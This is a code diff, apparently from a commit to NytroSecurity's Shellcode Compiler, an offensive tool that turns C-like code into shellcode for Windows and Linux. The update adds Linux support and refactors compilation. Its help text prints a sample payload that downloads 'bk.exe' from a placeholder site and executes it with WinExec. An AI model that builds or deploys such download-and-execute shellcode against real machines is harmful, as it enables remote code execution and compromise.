33
44// Program version
55
6- #define PROGRAM_VERSION " v0.2 Alpha"
6+ #define PROGRAM_VERSION " v2.0 Alpha"
77
88// Global variable for command line arguments
99
@@ -33,13 +33,14 @@ void CommandLine::PrintHelp(string p_sFile)
3333 cout << " NytroSecurity [ nytrosecurity.com ]" << endl << endl;
3434
3535 cout << " Program description" << endl;
36- cout << " -------------------" << endl;
37- cout << " \t Shellcode Compiler is a program that compiles C/C++ style code " << endl;
38- cout << " into a small, position-independent and NULL-free shellcode for Windows." << endl;
39- cout << " It is possible to call any Windows API function in a user-friendly way." << endl << endl;
36+ cout << " -------------------" << endl << endl;
37+ cout << " \t Shellcode Compiler is a program that compiles C/C++ style code into a small, " << endl;
38+ cout << " \t position-independent and NULL-free shellcode for Windows (x86 and x64) and " << endl;
39+ cout << " \t Linux(x86 and x64). It is possible to call any Windows API function or Linux " << endl;
40+ cout << " \t syscall in a user - friendly way. " << endl << endl;
4041
4142 cout << " Command line options " << endl;
42- cout << " --------------------" << endl;
43+ cout << " --------------------" << endl << endl ;
4344 cout << " \t -h (--help) : Show this help message" << endl;
4445 cout << " \t -p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64" << endl;
4546 cout << " \t -v (--verbose) : Print detailed output" << endl;
@@ -48,18 +49,27 @@ void CommandLine::PrintHelp(string p_sFile)
4849 cout << " \t -o (--output) : Output file of the generated binary shellcode" << endl;
4950 cout << " \t -a (--assembbly) : Output file of the generated assembly code" << endl << endl;
5051
51- cout << " Source code example" << endl;
52- cout << " ------------------- " << endl << endl;
52+ cout << " Windows example" << endl;
53+ cout << " ---------------" << endl << endl;
5354 cout << " \t function URLDownloadToFileA(\" urlmon.dll\" );" << endl;
5455 cout << " \t function WinExec(\" kernel32.dll\" );" << endl;
5556 cout << " \t function ExitProcess(\" kernel32.dll\" );" << endl << endl;
5657 cout << " \t URLDownloadToFileA(0,\" https://site.com/bk.exe\" ,\" bk.exe\" ,0,0);" << endl;
5758 cout << " \t WinExec(\" bk.exe\" ,0);" << endl;
5859 cout << " \t ExitProcess(0);" << endl << endl;
5960
61+ cout << " Linux example" << endl;
62+ cout << " -------------" << endl << endl;
63+ cout << " \t chmod(\" /root/chmodme\" , 511);" << endl;
64+ cout << " \t write(1, \" Hello, world\" , 12);" << endl;
65+ cout << " \t kill(1661, 9);" << endl;
66+ cout << " \t getpid();" << endl;
67+ cout << " \t execve(\" /usr/bin/burpsuite\" , 0, 0);" << endl;
68+ cout << " \t exit(2" << endl << endl;
69+
6070 cout << " Invocation example" << endl;
61- cout << " ------------------" << endl;
62- cout << " \t " << p_sFile << " -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl;
71+ cout << " ------------------" << endl << endl ;
72+ cout << " \t " << p_sFile << " -p windows_x64 - r Source.txt -o Shellcode.bin -a Assembly.asm" << endl << endl;
6373}
6474
6575// Parse command line arguments
@@ -165,33 +175,29 @@ void CommandLine::ParseCommandLine(int argc, char *argv[])
165175
166176 if (g_bVerbose) DebugUtils::DumpAllData ();
167177
178+ // Compile all data
179+
180+ string sASMOutput = Compile::CompileAllData ();
181+
168182 // Output ASM file
169183
170184 if (g_bASMFile)
171185 {
172186 if (Utils::FileExists (g_sASMFile)) Utils::DeleteSourceFile (g_sASMFile);
173- Compile::CompileAllData (g_sASMFile);
174- }
175- else
176- {
177- string sFile = Utils::GetTemp ();
178- sFile += " \\ SC.asm" ;
179- g_sASMFile = sFile ;
180- if (Utils::FileExists (g_sASMFile)) Utils::DeleteSourceFile (g_sASMFile);
181- Compile::CompileAllData (sFile );
187+ Utils::WriteToFile (g_sASMFile, sASMOutput );
182188 }
183189
184190 // Output file
185191
186192 if (!g_bOutputFile)
187- g_sOutputFile = " SC2 .bin" ;
193+ g_sOutputFile = " Shellcode .bin" ;
188194
189195 if (Utils::FileExists (g_sOutputFile)) Utils::DeleteSourceFile (g_sOutputFile);
190196
191197 // Compile using Keystone engine
192198
193199 size_t nAssembledSize = 0 ;
194- unsigned char *pcAssembled = KeystoneLib::Assemble (&nAssembledSize, Utils::ReadSourceFile (g_sASMFile) );
200+ unsigned char *pcAssembled = KeystoneLib::Assemble (&nAssembledSize, sASMOutput );
195201
196202 if (nAssembledSize == 0 )
197203 {
@@ -214,7 +220,14 @@ void CommandLine::ParseCommandLine(int argc, char *argv[])
214220 if (g_bTest)
215221 {
216222 cout << endl << " Testing shellcode..." << endl;
217- Sleep (3000 );
223+
224+ // Cross platform sleeping (be sure output file is written)
225+
226+ #if defined(_WIN32)
227+ Sleep (1000 );
228+ #else
229+ sleep (1 );
230+ #endif
218231 DebugUtils::TestShellcode (g_sOutputFile);
219232 }
220233}
0 commit comments